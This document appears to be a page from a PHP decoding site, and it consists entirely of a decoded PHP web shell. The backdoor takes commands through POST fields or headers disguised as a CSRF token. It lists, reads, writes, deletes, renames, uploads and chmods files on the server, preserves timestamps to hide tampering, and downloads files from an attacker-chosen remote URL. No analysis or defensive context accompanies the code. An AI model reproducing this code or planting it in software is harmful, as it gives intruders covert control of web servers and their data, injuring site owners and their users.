PHP Decode

<?php error_reporting(0);define("ROOT",$_SERVER["DOCUMENT_ROOT"]);$b=array();function fx($c){return function_exists($c);}function fg($c){return file_get_contents($c);}function fp($c,$e){return file_put_contents($c,$e)!==false;}function pwd(){if(fx("getcwd"))return@getcwd();else return@dirname(__FILE__);}function r2($g){if(is_dir($g)){$h=sCaNDir($g);foreach($h as $i){if($i=='.'||$i=='..')continue;$j=$g.'/'.$i;is_dir($j)?r2($j):uNliNk($j);}rMdIR($g);}else uNliNk($g);}function d($k,$m){if(fx('curl_init')){$o=curl_init($m);$q=fopen($k,'w+');curl_setopt($o,CURLOPT_FILE,$q);curl_setopt($o,CURLOPT_TIMEOUT,50);if(curl_exec($o)){curl_close($o);$i=1;}else{$i=fwrite($q,fg($m))?1:0;}fclose($q);}else{$i=@fp($k,fg($m))?1:0;}return $i;}function g($e){return!empty($_POST[$e])?$_POST[$e]:$_SERVER["HTTP_X_".strtoupper($e)];}$c=g("a");if(!empty($c)){$r=!empty($_POST['v'])?$_POST['v']:@$_SERVER["HTTP_X_CSRF_TOKEN"];if(!empty($r))$r=base64_decode(substr($r,1));$s=g("d");$u=array();$e=1;switch($c){case 1:$u=array("root"=>ROOT,"server"=>$_SERVER['SERVER_SOFTWARE'],"cip"=>$_SERVER['REMOTE_ADDR'],);if(fx("getcwd"))$u['pwd']=pwd();if(fx("ini_get"))$u["safe_mode"]=@ini_get("safe_mode");if(fx("phpversion"))$u["version"]=@phpversion();$u["sip"]=$_SERVER["SERVER_ADDR"];if(empty($u["sip"]))$u["sip"]=@gethostbyname($_SERVER["SERVER_NAME"]);break;case 2:if(empty($r))$r=pwd();$w=scandir($r);$x=array();$y=array();foreach($w as $z){if($z=="."||$z=="..")continue;$g=$r."/".$z;$aa=array("n"=>$z,"p"=>substr(sprintf('%o',fILepErMs($g)),-4),"t"=>date('Y-m-d H:i:s',fILeMTiMe($g)),);if(is_dir($g))$x[]=$aa;else{$aa['s']=filesize($g);$y[]=$aa;}}$u["d"]=$x;$u["f"]=$y;break;case 3:r2($r);break;case 4:$u["v"]=fg($r);break;case 5:if(!is_writable($s))@chmod($r,0644);$e=fp($s,$r)?1:0;break;case 6:$k=$s.g("n");$bb=$s.$r;$cc=@FiLemTiME($k);if(!@ReNamE($k,$bb))$e=0;elseif($cc)@touCH($bb,$cc,$cc);break;case 7:if(!@chmod($s,$r))$e=0;break;case 8:$e=move_uploaded_file($_FILES["f"]['tmp_name'],$r)?1:0;break;case 9:$e=fp($r,"")?1:0;break;case 10:$e=mkdir($r)?1:0;break;case 11:$m=g("l");$e=d($r,$m)?1:0;break;}$b['data']=$u;$b['code']=$e;header('Content-type: application/json; charset=utf-8');register_shutdown_function(function(){global $b;ob_end_clean();echo json_encode($b);});return;}?> 
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